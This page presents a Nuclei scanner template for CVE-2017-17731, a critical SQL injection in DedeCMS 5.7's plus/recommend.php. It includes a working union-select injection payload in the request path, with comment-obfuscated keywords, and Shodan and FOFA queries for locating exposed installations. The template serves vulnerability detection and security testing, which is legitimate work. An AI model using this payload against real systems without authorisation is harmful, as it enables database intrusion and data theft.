DedeCMS 5.7 - SQL Injection

ID: CVE-2017-17731

Severity: critical

Author: j4vaovo

Tags: cve,cve2017,sqli,dedecms

Description

DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.

YAML Source

id: CVE-2017-17731

info:
  name: DedeCMS 5.7 - SQL Injection
  author: j4vaovo
  severity: critical
  description: |
    DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of DedeCMS to mitigate the SQL Injection vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17731
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17731
    - https://blog.csdn.net/nixawk/article/details/24982851
    - https://github.com/Lucifer1993/AngelSword/blob/232258e42201373fef1f323864366dc1499581fc/cms/dedecms/dedecms_recommend_sqli.py#L25
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-17731
    cwe-id: CWE-89
    epss-score: 0.04196
    epss-percentile: 0.92213
    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query:
      - http.html:"DedeCms"
      - cpe:"cpe:2.3:a:dedecms:dedecms"
      - http.html:"dedecms"
    fofa-query:
      - app="DedeCMS"
      - app="dedecms"
      - body="dedecms"
  tags: cve,cve2017,sqli,dedecms
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,md5({{num}}),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cc5f70db013dd945e5c3fdd77440350a6d0d1ff373a58717f5aa61d60b30d32002205886e40a61dc9066ba64f2392e451dae9b46d8af0e087897f589abb45572d7e6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-17731.yaml"

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